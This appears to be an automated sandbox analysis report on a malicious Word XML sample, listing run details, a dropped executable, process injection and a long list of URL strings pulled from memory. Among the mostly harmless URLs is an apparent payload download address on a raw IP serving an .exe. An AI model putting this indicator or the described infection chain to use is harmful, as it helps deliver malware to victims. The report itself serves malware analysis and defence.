Loading ...

Analysis Report

Overview

General Information

Analysis ID:58433
Start time:14:53:40
Start date:04/03/2015
Overall analysis duration:0h 6m 11s
Report type:full
Sample file name:word.xml
Cookbook file name:default.jbs
Analysis system description:XP SP3 (Office 2003 SP2, Java 1.6.0, Acrobat Reader 9.3.4, Internet Explorer 8)
Number of analysed new started processes analysed:5
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:1
HCA enabled:true
HCA success:
  • true, ratio: 98%
  • Number of executed functions: 46
  • Number of non-executed functions: 7
Warnings:
  • Report size getting too big, too many NtMapViewOfSection calls found.
  • Report size getting too big, too many NtProtectVirtualMemory calls found.
  • Report size getting too big, too many NtQueryValueKey calls found.
  • Report size getting too big, too many NtSetInformationProcess calls found.


Detection

StrategyReport FP/FN
Threshold malicious


Signature Overview


Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic ProviderShow sources
Source: C:\edg1.exeCode function: 3_2_00405DBC CryptAcquireContextW,3_2_00405DBC
Source: C:\edg1.exeCode function: 3_1_004055D0 LoadLibraryW,SetupComm,DebugBreakProcess,LockResource,SetThreadAffinityMask,SetTapePosition,#180,AllocConsole,WritePrivateProfileStructA,DeleteFileA,GetPrivateProfileSectionNamesW,lstrlenA,GetStringTypeExA,SetEnvironmentVariableW,FindNextFileA,FreeLibraryAndExitThread,DecodeSystemPointer,EnumCalendarInfoExW,LoadCursorW,GetSystemWindowsDirectoryW,ResetEvent,GetStartupInfoW,IsBadWritePtr,#86,ReadConsoleW,GetCalendarInfoA,ReadConsoleA,#259,GetQueuedCompletionStatus,RegisterWindowMessageW,SHInvokePrinterCommandW,TerminateThread,FindAtomA,ReleaseActCtx,RemoveVectoredExceptionHandler,GetConsoleCP,CreateDirectoryW,SetCommBreak,FindFirstVolumeA,GetCommandLineA,WideCharToMultiByte,SetEnvironmentVariableA,VerifyVersionInfoA,ExitProcess,CreateDIBPatternBrushPt,InSendMessageEx,SetFileShortNameA,GetVolumeInformationW,CopyFileW,GlobalHandle,VirtualProtectEx,GetConsoleFontSize,CreateMDIWindowW,lstrcpyA,VirtualFree,FindAtomW,GetGeoInfoW,WriteConsoleOutputCharacterW,GetBinaryTypeW,WritePrivateProfileStringA,Create3_1_004055D0

Networking:

barindex
Urls found in memory or binary dataShow sources
Source: WINWORD.EXEString found in binary or memory: file://
Source: WINWORD.EXEString found in binary or memory: file:///c:
Source: explorer.exeString found in binary or memory: file:///c:/
Source: WINWORD.EXEString found in binary or memory: file:///c:/documents%20and%20settings/administrator/local%20settings/temp/fdgfdgdfga.exe
Source: explorer.exeString found in binary or memory: file:///c:/documents%20and%20settings/all%20users/start%20menu/programs/startup/jbxinitvm.au3
Source: explorer.exeString found in binary or memory: file:///c:/jbxinitvm.au3
Source: explorer.exeString found in binary or memory: file:///c:/program%20files/common%20files/adobe/arm/1.0/adobearm.exe
Source: explorer.exeString found in binary or memory: file:///c:/windows/system32/ctfmon.exe
Source: WINWORD.EXEString found in binary or memory: file://page
Source: explorer.exeString found in binary or memory: http://
Source: explorer.exeString found in binary or memory: http://%s.com
Source: WINWORD.EXEString found in binary or memory: http://%s/r/rlidstmapurl?clid=%d&#http://%s/r/rlidstdriveurl?clid=%d&
Source: WINWORD.EXEString found in binary or memory: http://)file
Source: WINWORD.EXEString found in binary or memory: http://)web
Source: WINWORD.EXE, explorer.exeString found in binary or memory: http://178.32.184.11:8080/azvxjdfr31k/abs5ajsu.exe
Source: explorer.exeString found in binary or memory: http://amazon.fr/
Source: explorer.exeString found in binary or memory: http://api.search.live.com/qsml.aspx?query=
Source: explorer.exeString found in binary or memory: http://ariadna.elmundo.es/
Source: explorer.exeString found in binary or memory: http://ariadna.elmundo.es/favicon.ico
Source: explorer.exeString found in binary or memory: http://arianna.libero.it/
Source: explorer.exeString found in binary or memory: http://arianna.libero.it/favicon.ico
Source: explorer.exeString found in binary or memory: http://asp.usatoday.com/
Source: explorer.exeString found in binary or memory: http://asp.usatoday.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://auone.jp/favicon.ico
Source: explorer.exeString found in binary or memory: http://auto.search.msn.com/response.asp?mt=
Source: explorer.exeString found in binary or memory: http://br.search.yahoo.com/
Source: explorer.exeString found in binary or memory: http://browse.guardian.co.uk/
Source: explorer.exeString found in binary or memory: http://browse.guardian.co.uk/favicon.ico
Source: explorer.exeString found in binary or memory: http://busca.buscape.com.br/
Source: explorer.exeString found in binary or memory: http://busca.buscape.com.br/favicon.ico
Source: explorer.exeString found in binary or memory: http://busca.estadao.com.br/favicon.ico
Source: explorer.exeString found in binary or memory: http://busca.igbusca.com.br/
Source: explorer.exeString found in binary or memory: http://busca.igbusca.com.br//app/static/images/favicon.ico
Source: explorer.exeString found in binary or memory: http://busca.orange.es/
Source: explorer.exeString found in binary or memory: http://busca.uol.com.br/
Source: explorer.exeString found in binary or memory: http://busca.uol.com.br/favicon.ico
Source: explorer.exeString found in binary or memory: http://buscador.lycos.es/
Source: explorer.exeString found in binary or memory: http://buscador.terra.com.br/
Source: explorer.exeString found in binary or memory: http://buscador.terra.com/
Source: explorer.exeString found in binary or memory: http://buscador.terra.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://buscador.terra.es/
Source: explorer.exeString found in binary or memory: http://buscar.ozu.es/
Source: explorer.exeString found in binary or memory: http://buscar.ya.com/
Source: explorer.exeString found in binary or memory: http://busqueda.aol.com.mx/
Source: explorer.exeString found in binary or memory: http://cerca.lycos.it/
Source: explorer.exeString found in binary or memory: http://cgi.search.biglobe.ne.jp/
Source: explorer.exeString found in binary or memory: http://cgi.search.biglobe.ne.jp/favicon.ico
Source: explorer.exeString found in binary or memory: http://clients5.google.com/complete/search?hl=
Source: explorer.exeString found in binary or memory: http://cnet.search.com/
Source: explorer.exeString found in binary or memory: http://cnweb.search.live.com/
Source: explorer.exeString found in binary or memory: http://cnweb.search.live.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://corp.naukri.com/
Source: explorer.exeString found in binary or memory: http://corp.naukri.com/favicon.ico
Source: WINWORD.EXEString found in binary or memory: http://crl.microsoft.com/pki/crl/products/codesignpca.crl0
Source: WINWORD.EXEString found in binary or memory: http://crl.verisign.com/thawtetimestampingca.crl0
Source: WINWORD.EXEString found in binary or memory: http://crl.verisign.com/tss-ca.crl0
Source: explorer.exeString found in binary or memory: http://cs.wikipedia.org/
Source: explorer.exeString found in binary or memory: http://cs.wikipedia.org/favicon.ico
Source: explorer.exeString found in binary or memory: http://cs.wikipedia.org/w/api.php?action=opensearch&format=xml&search=
Source: MSOXMLED.EXE, WINWORD.EXE, explorer.exeString found in binary or memory: http://db2.stb.s-msn.com/i/ec/fa6946226f21bd7e8f75bbfa03146.ico
Source: explorer.exeString found in binary or memory: http://de.search.yahoo.com/
Source: explorer.exeString found in binary or memory: http://de.wikipedia.org/
Source: explorer.exeString found in binary or memory: http://de.wikipedia.org/favicon.ico
Source: explorer.exeString found in binary or memory: http://de.wikipedia.org/w/api.php?action=opensearch&format=xml&search=
Source: explorer.exeString found in binary or memory: http://en.wikipedia.org/
Source: explorer.exeString found in binary or memory: http://en.wikipedia.org/favicon.ico
Source: explorer.exeString found in binary or memory: http://en.wikipedia.org/w/api.php?action=opensearch&format=xml&search=
Source: explorer.exeString found in binary or memory: http://es.ask.com/
Source: explorer.exeString found in binary or memory: http://es.search.yahoo.com/
Source: explorer.exeString found in binary or memory: http://es.wikipedia.org/
Source: explorer.exeString found in binary or memory: http://es.wikipedia.org/favicon.ico
Source: explorer.exeString found in binary or memory: http://es.wikipedia.org/w/api.php?action=opensearch&format=xml&search=
Source: explorer.exeString found in binary or memory: http://esearch.rakuten.co.jp/
Source: explorer.exeString found in binary or memory: http://espanol.search.yahoo.com/
Source: explorer.exeString found in binary or memory: http://espn.go.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://find.joins.com/
Source: explorer.exeString found in binary or memory: http://fr.msn.com/?rd=1&ucc=fr&dcc=fr&opt=0
Source: explorer.exeString found in binary or memory: http://fr.search.yahoo.com/
Source: explorer.exeString found in binary or memory: http://fr.wikipedia.org/
Source: explorer.exeString found in binary or memory: http://fr.wikipedia.org/favicon.ico
Source: explorer.exeString found in binary or memory: http://fr.wikipedia.org/w/api.php?action=opensearch&format=xml&search=
Source: WINWORD.EXEString found in binary or memory: http://ftp://mailto:gopher://
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=105563
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=120347-http://go.microsoft.com/fwlink/?linkid=1203463read
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=120476
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=121792
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=122812hthe
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=124983
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=12658
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=12939
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=134080)search
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=140502
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=50462
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=50893)lear&n
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=54537&clcid=
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=54729&clcid=
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=54758
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=54796&clcid=
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=54896&clcid=
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=55027&clcid=
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=55028&clcid=
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=55107&clcid=
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=55218&clcid=
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=55242&clcid=
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=55245&clcid=
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=56297&clcid=
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=57427&protocol=
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=58472&clcid=
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=58473&clcid=
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=58658
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=66725
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=69157
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=74005finternet
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=76277
Source: explorer.exeString found in binary or memory: http://go.microsoft.com/fwlink/?linkid=99193
Source: explorer.exeString found in binary or memory: http://google.pchome.com.tw/
Source: explorer.exeString found in binary or memory: http://home.altervista.org/
Source: explorer.exeString found in binary or memory: http://home.altervista.org/favicon.ico
Source: explorer.exeString found in binary or memory: http://ie.search.yahoo.com/os?command=
Source: explorer.exeString found in binary or memory: http://ie8.ebay.com/open-search/output-xml.php?q=
Source: explorer.exeString found in binary or memory: http://image.excite.co.jp/jp/favicon/lep.ico
Source: explorer.exeString found in binary or memory: http://images.joins.com/ui_c/fvc_joins.ico
Source: explorer.exeString found in binary or memory: http://images.monster.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://img.atlas.cz/favicon.ico
Source: explorer.exeString found in binary or memory: http://img.shopzilla.com/shopzilla/shopzilla.ico
Source: explorer.exeString found in binary or memory: http://in.search.yahoo.com/
Source: explorer.exeString found in binary or memory: http://it.search.dada.net/
Source: explorer.exeString found in binary or memory: http://it.search.dada.net/favicon.ico
Source: explorer.exeString found in binary or memory: http://it.search.yahoo.com/
Source: explorer.exeString found in binary or memory: http://it.wikipedia.org/
Source: explorer.exeString found in binary or memory: http://it.wikipedia.org/favicon.ico
Source: explorer.exeString found in binary or memory: http://it.wikipedia.org/w/api.php?action=opensearch&format=xml&search=
Source: explorer.exeString found in binary or memory: http://ja.wikipedia.org/
Source: explorer.exeString found in binary or memory: http://ja.wikipedia.org/favicon.ico
Source: explorer.exeString found in binary or memory: http://ja.wikipedia.org/w/api.php?action=opensearch&format=xml&search=
Source: explorer.exeString found in binary or memory: http://jobsearch.monster.com/
Source: explorer.exeString found in binary or memory: http://kr.search.yahoo.com/
Source: explorer.exeString found in binary or memory: http://list.taobao.com/
Source: explorer.exeString found in binary or memory: http://list.taobao.com/browse/search_visual.htm?n=15&q=
Source: explorer.exeString found in binary or memory: http://livesearch.msn.co.kr/
Source: explorer.exeString found in binary or memory: http://localhost
Source: explorer.exeString found in binary or memory: http://mail.live.com/
Source: explorer.exeString found in binary or memory: http://mail.live.com/?rru=compose%3fsubject%3d
Source: explorer.exeString found in binary or memory: http://maps.live.com/
Source: explorer.exeString found in binary or memory: http://maps.live.com/default.aspx
Source: explorer.exeString found in binary or memory: http://maps.live.com/geotager.aspx
Source: WINWORD.EXEString found in binary or memory: http://moneycentral.msn.com/investor/external/excel/quotes.asp?symbol=5cannot
Source: explorer.exeString found in binary or memory: http://msdn.microsoft.com/
Source: WINWORD.EXEString found in binary or memory: http://msdn.microsoft.com/developer/default.htm
Source: explorer.exeString found in binary or memory: http://msdn.microsoft.com/workshop/security/privacy/overview/privacyimportxml.asp)
Source: explorer.exeString found in binary or memory: http://msdn.microsoft.com/workshop/security/szone/overview/templates.asp)
Source: explorer.exeString found in binary or memory: http://msk.afisha.ru/
Source: WINWORD.EXEString found in binary or memory: http://myserver/myfolder)the
Source: WINWORD.EXEString found in binary or memory: http://myserver/myfolder/newsitename)select
Source: WINWORD.EXEString found in binary or memory: http://myserver/public/.
Source: WINWORD.EXEString found in binary or memory: http://myserver/public/.cannot
Source: explorer.exeString found in binary or memory: http://nl.wikipedia.org/
Source: explorer.exeString found in binary or memory: http://nl.wikipedia.org/favicon.ico
Source: explorer.exeString found in binary or memory: http://nl.wikipedia.org/w/api.php?action=opensearch&format=xml&search=
Source: explorer.exeString found in binary or memory: http://ns.adobe.com/exif/1.0/
Source: explorer.exeString found in binary or memory: http://ns.adobe.com/ix/1.0/
Source: explorer.exeString found in binary or memory: http://ns.adobe.com/pdf/1.3/
Source: explorer.exeString found in binary or memory: http://ns.adobe.com/photoshop/1.0/
Source: explorer.exeString found in binary or memory: http://ns.adobe.com/tiff/1.0/
Source: explorer.exeString found in binary or memory: http://ns.adobe.com/xap/1.0/
Source: explorer.exeString found in binary or memory: http://ns.adobe.com/xap/1.0/mm/
Source: explorer.exeString found in binary or memory: http://ocnsearch.goo.ne.jp/
Source: WINWORD.EXEString found in binary or memory: http://ocsp.verisign.com0
Source: WINWORD.EXEString found in binary or memory: http://office.microsoft.com
Source: WINWORD.EXEString found in binary or memory: http://office.microsoft.comspeech
Source: WINWORD.EXEString found in binary or memory: http://officeupdate.microsoft.com
Source: explorer.exeString found in binary or memory: http://openimage.interpark.com/interpark.ico
Source: explorer.exeString found in binary or memory: http://p.zhongsou.com/
Source: explorer.exeString found in binary or memory: http://p.zhongsou.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://pl.wikipedia.org/
Source: explorer.exeString found in binary or memory: http://pl.wikipedia.org/favicon.ico
Source: explorer.exeString found in binary or memory: http://pl.wikipedia.org/w/api.php?action=opensearch&format=xml&search=
Source: explorer.exeString found in binary or memory: http://price.ru/
Source: explorer.exeString found in binary or memory: http://price.ru/favicon.ico
Source: explorer.exeString found in binary or memory: http://pt.wikipedia.org/
Source: explorer.exeString found in binary or memory: http://pt.wikipedia.org/favicon.ico
Source: explorer.exeString found in binary or memory: http://pt.wikipedia.org/w/api.php?action=opensearch&format=xml&search=
Source: explorer.exeString found in binary or memory: http://purl.org/dc/elements/1.1/
Source: explorer.exeString found in binary or memory: http://purl.org/rss/1.0/modules/content/
Source: explorer.exeString found in binary or memory: http://purl.org/rss/1.0/modules/slash/
Source: explorer.exeString found in binary or memory: http://recherche.linternaute.com/
Source: explorer.exeString found in binary or memory: http://recherche.tf1.fr/
Source: explorer.exeString found in binary or memory: http://recherche.tf1.fr/favicon.ico
Source: explorer.exeString found in binary or memory: http://rover.ebay.com
Source: explorer.exeString found in binary or memory: http://ru.search.yahoo.com
Source: explorer.exeString found in binary or memory: http://ru.wikipedia.org/
Source: explorer.exeString found in binary or memory: http://ru.wikipedia.org/favicon.ico
Source: explorer.exeString found in binary or memory: http://ru.wikipedia.org/w/api.php?action=opensearch&format=xml&search=
Source: explorer.exeString found in binary or memory: http://sads.myspace.com/
Source: MSOXMLED.EXEString found in binary or memory: http://schemas.microsoft.
Source: WINWORD.EXE, word.xmlString found in binary or memory: http://schemas.microsoft.com/aml/2001/core
Source: explorer.exeString found in binary or memory: http://schemas.microsoft.com/office/2004/12/omml
Source: WINWORD.EXE, word.xmlString found in binary or memory: http://schemas.microsoft.com/office/word/2003/auxhint
Source: WINWORD.EXE, word.xmlString found in binary or memory: http://schemas.microsoft.com/office/word/2003/wordml
Source: word.xmlString found in binary or memory: http://schemas.microsoft.com/office/word/2003/wordml/sp2
Source: WINWORD.EXEString found in binary or memory: http://schemas.microsoft.com/office/word/2003/wordmlxmlns:vurn:schemas-microsoft-com:vmlxmlns:w10urn
Source: WINWORD.EXE, word.xmlString found in binary or memory: http://schemas.microsoft.com/schemalibrary/2003/core
Source: explorer.exeString found in binary or memory: http://search-dyn.tiscali.it/
Source: explorer.exeString found in binary or memory: http://search.about.com/
Source: explorer.exeString found in binary or memory: http://search.alice.it/
Source: explorer.exeString found in binary or memory: http://search.alice.it/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.aol.co.uk/
Source: explorer.exeString found in binary or memory: http://search.aol.com/
Source: explorer.exeString found in binary or memory: http://search.aol.in/
Source: explorer.exeString found in binary or memory: http://search.atlas.cz/
Source: explorer.exeString found in binary or memory: http://search.auction.co.kr/
Source: explorer.exeString found in binary or memory: http://search.auone.jp/
Source: explorer.exeString found in binary or memory: http://search.books.com.tw/
Source: explorer.exeString found in binary or memory: http://search.books.com.tw/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.centrum.cz/
Source: explorer.exeString found in binary or memory: http://search.centrum.cz/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.chol.com/
Source: explorer.exeString found in binary or memory: http://search.chol.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.cn.yahoo.com/
Source: explorer.exeString found in binary or memory: http://search.daum.net/
Source: explorer.exeString found in binary or memory: http://search.daum.net/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.dreamwiz.com/
Source: explorer.exeString found in binary or memory: http://search.dreamwiz.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.ebay.co.uk/
Source: explorer.exeString found in binary or memory: http://search.ebay.com/
Source: explorer.exeString found in binary or memory: http://search.ebay.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.ebay.de/
Source: explorer.exeString found in binary or memory: http://search.ebay.es/
Source: explorer.exeString found in binary or memory: http://search.ebay.fr/
Source: explorer.exeString found in binary or memory: http://search.ebay.in/
Source: explorer.exeString found in binary or memory: http://search.ebay.it/
Source: explorer.exeString found in binary or memory: http://search.empas.com/
Source: explorer.exeString found in binary or memory: http://search.empas.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.espn.go.com/
Source: explorer.exeString found in binary or memory: http://search.gamer.com.tw/
Source: explorer.exeString found in binary or memory: http://search.gamer.com.tw/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.gismeteo.ru/
Source: explorer.exeString found in binary or memory: http://search.goo.ne.jp/
Source: explorer.exeString found in binary or memory: http://search.goo.ne.jp/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.hanafos.com/
Source: explorer.exeString found in binary or memory: http://search.hanafos.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.interpark.com/
Source: explorer.exeString found in binary or memory: http://search.ipop.co.kr/
Source: explorer.exeString found in binary or memory: http://search.ipop.co.kr/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.live.com/results.aspx?form=iefm1&q=
Source: explorer.exeString found in binary or memory: http://search.live.com/results.aspx?form=so2tdf&q=
Source: explorer.exeString found in binary or memory: http://search.live.com/results.aspx?form=soltdf&q=
Source: explorer.exeString found in binary or memory: http://search.live.com/results.aspx?q=
Source: explorer.exeString found in binary or memory: http://search.live.com/results.aspx?q=search&form=hpdtdf
Source: explorer.exeString found in binary or memory: http://search.live.com/results.aspx?q=search&form=hpntdf
Source: explorer.exeString found in binary or memory: http://search.livedoor.com/
Source: explorer.exeString found in binary or memory: http://search.livedoor.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.lycos.co.uk/
Source: explorer.exeString found in binary or memory: http://search.lycos.com/
Source: explorer.exeString found in binary or memory: http://search.lycos.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.microsoft.com/
Source: explorer.exeString found in binary or memory: http://search.msn.co.jp/results.aspx?q=
Source: explorer.exeString found in binary or memory: http://search.msn.co.uk/results.aspx?q=
Source: explorer.exeString found in binary or memory: http://search.msn.com.cn/results.aspx?q=
Source: explorer.exeString found in binary or memory: http://search.msn.com/results.aspx?q=
Source: explorer.exeString found in binary or memory: http://search.nate.com/
Source: explorer.exeString found in binary or memory: http://search.naver.com/
Source: explorer.exeString found in binary or memory: http://search.naver.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.nifty.com/
Source: explorer.exeString found in binary or memory: http://search.orange.co.uk/
Source: explorer.exeString found in binary or memory: http://search.orange.co.uk/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.rediff.com/
Source: explorer.exeString found in binary or memory: http://search.rediff.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.seznam.cz/
Source: explorer.exeString found in binary or memory: http://search.seznam.cz/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.sify.com/
Source: explorer.exeString found in binary or memory: http://search.yahoo.co.jp
Source: explorer.exeString found in binary or memory: http://search.yahoo.co.jp/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.yahoo.com/
Source: explorer.exeString found in binary or memory: http://search.yahoo.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://search.yam.com/
Source: explorer.exeString found in binary or memory: http://search1.taobao.com/
Source: explorer.exeString found in binary or memory: http://search2.estadao.com.br/
Source: explorer.exeString found in binary or memory: http://searchresults.news.com.au/
Source: explorer.exeString found in binary or memory: http://service2.bfast.com/
Source: explorer.exeString found in binary or memory: http://si.wikipedia.org/
Source: explorer.exeString found in binary or memory: http://si.wikipedia.org/favicon.ico
Source: explorer.exeString found in binary or memory: http://si.wikipedia.org/w/api.php?action=opensearch&format=xml&search=
Source: explorer.exeString found in binary or memory: http://sitesearch.timesonline.co.uk/
Source: explorer.exeString found in binary or memory: http://so-net.search.goo.ne.jp/
Source: explorer.exeString found in binary or memory: http://spaces.live.com/
Source: explorer.exeString found in binary or memory: http://spaces.live.com/blogit.aspx
Source: WINWORD.EXEString found in binary or memory: http://subscription/url/ms.com
Source: explorer.exeString found in binary or memory: http://suche.aol.de/
Source: explorer.exeString found in binary or memory: http://suche.freenet.de/
Source: explorer.exeString found in binary or memory: http://suche.freenet.de/favicon.ico
Source: explorer.exeString found in binary or memory: http://suche.lycos.de/
Source: explorer.exeString found in binary or memory: http://suche.t-online.de/
Source: explorer.exeString found in binary or memory: http://suche.web.de/
Source: explorer.exeString found in binary or memory: http://suche.web.de/favicon.ico
Source: explorer.exeString found in binary or memory: http://support.microsoft.com
Source: WINWORD.EXEString found in binary or memory: http://support.microsoft.com/support/misc/kblookup.asp?id=q302596
Source: explorer.exeString found in binary or memory: http://translator.live.com/?ref=ie8activity
Source: explorer.exeString found in binary or memory: http://translator.live.com/bv.aspx?ref=ie8activity&a=
Source: explorer.exeString found in binary or memory: http://translator.live.com/bvprev.aspx?ref=ie8activity
Source: explorer.exeString found in binary or memory: http://translator.live.com/default.aspx?ref=ie8activity
Source: explorer.exeString found in binary or memory: http://translator.live.com/defaultprev.aspx?ref=ie8activity
Source: explorer.exeString found in binary or memory: http://treyresearch.net
Source: explorer.exeString found in binary or memory: http://tw.search.yahoo.com/
Source: explorer.exeString found in binary or memory: http://udn.com/
Source: explorer.exeString found in binary or memory: http://udn.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://uk.ask.com/
Source: explorer.exeString found in binary or memory: http://uk.ask.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://uk.search.yahoo.com/
Source: explorer.exeString found in binary or memory: http://vachercher.lycos.fr/
Source: explorer.exeString found in binary or memory: http://video.globo.com/
Source: explorer.exeString found in binary or memory: http://video.globo.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://web.ask.com/
Source: explorer.exeString found in binary or memory: http://wellformedweb.org/commentapi/
Source: explorer.exeString found in binary or memory: http://windowsupdate.microsoft.com
Source: explorer.exeString found in binary or memory: http://www.%s.com
Source: explorer.exeString found in binary or memory: http://www.abril.com.br/
Source: explorer.exeString found in binary or memory: http://www.abril.com.br/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.afisha.ru/app_themes/default/images/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.alarabiya.net/
Source: explorer.exeString found in binary or memory: http://www.alarabiya.net/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.alexisisaac.net
Source: explorer.exeString found in binary or memory: http://www.amazon.co.jp/
Source: explorer.exeString found in binary or memory: http://www.amazon.co.uk/
Source: explorer.exeString found in binary or memory: http://www.amazon.com/exec/obidos/external-search/104-2981279-3455918?index=blended&keyword=
Source: explorer.exeString found in binary or memory: http://www.amazon.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.amazon.com/gp/search?ie=utf8&tag=ie8search-20&index=blended&linkcode=qs&c
Source: explorer.exeString found in binary or memory: http://www.amazon.de/
Source: explorer.exeString found in binary or memory: http://www.aol.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.arrakis.com/
Source: explorer.exeString found in binary or memory: http://www.arrakis.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.asharqalawsat.com/
Source: explorer.exeString found in binary or memory: http://www.asharqalawsat.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.ask.com/
Source: explorer.exeString found in binary or memory: http://www.auction.co.kr/auction.ico
Source: explorer.exeString found in binary or memory: http://www.autoitscript.com/autoit3/
Source: explorer.exeString found in binary or memory: http://www.autoitscript.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.baidu.com/
Source: explorer.exeString found in binary or memory: http://www.baidu.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.ccleaner.com/
Source: explorer.exeString found in binary or memory: http://www.cdiscount.com/
Source: explorer.exeString found in binary or memory: http://www.cdiscount.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.ceneo.pl/
Source: explorer.exeString found in binary or memory: http://www.ceneo.pl/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.chennaionline.com/ncommon/images/collogo.ico
Source: explorer.exeString found in binary or memory: http://www.cjmall.com/
Source: explorer.exeString found in binary or memory: http://www.cjmall.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.clarin.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.cnet.co.uk/
Source: explorer.exeString found in binary or memory: http://www.cnet.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.dailymail.co.uk/
Source: explorer.exeString found in binary or memory: http://www.dailymail.co.uk/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.etmall.com.tw/
Source: explorer.exeString found in binary or memory: http://www.etmall.com.tw/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.excite.co.jp/
Source: explorer.exeString found in binary or memory: http://www.expedia.com/
Source: explorer.exeString found in binary or memory: http://www.expedia.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.facebook.com/
Source: explorer.exeString found in binary or memory: http://www.facebook.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.gismeteo.ru/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.gmarket.co.kr/
Source: explorer.exeString found in binary or memory: http://www.gmarket.co.kr/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.google.ch
Source: explorer.exeString found in binary or memory: http://www.google.ch/
Source: explorer.exeString found in binary or memory: http://www.google.co.in/
Source: explorer.exeString found in binary or memory: http://www.google.co.jp/
Source: explorer.exeString found in binary or memory: http://www.google.co.uk/
Source: explorer.exeString found in binary or memory: http://www.google.com.br/
Source: explorer.exeString found in binary or memory: http://www.google.com.sa/
Source: explorer.exeString found in binary or memory: http://www.google.com.tw/
Source: explorer.exeString found in binary or memory: http://www.google.com/
Source: explorer.exeString found in binary or memory: http://www.google.com/favicon.ico
Source: explorer.exeString found in binary or memory: http://www.google.cz/
Source: explorer.exeString found in binary or memory: http://www.google.de/
Source: explorer.exeString found in binary or memory: http://www.google.es/
Source: explorer.exeString found in binary or memory: http://www.google.fr/
Source: explorer.exeString found in binary or memory: http://www.google.it/
Source: explorer.exeString found in binary or memory: http://www.google.pl/
Source: explorer.exeString found in binary or memory: http://www.google.ru/
Source: explorer.exeString found in binary or memory: http://www.google.si/
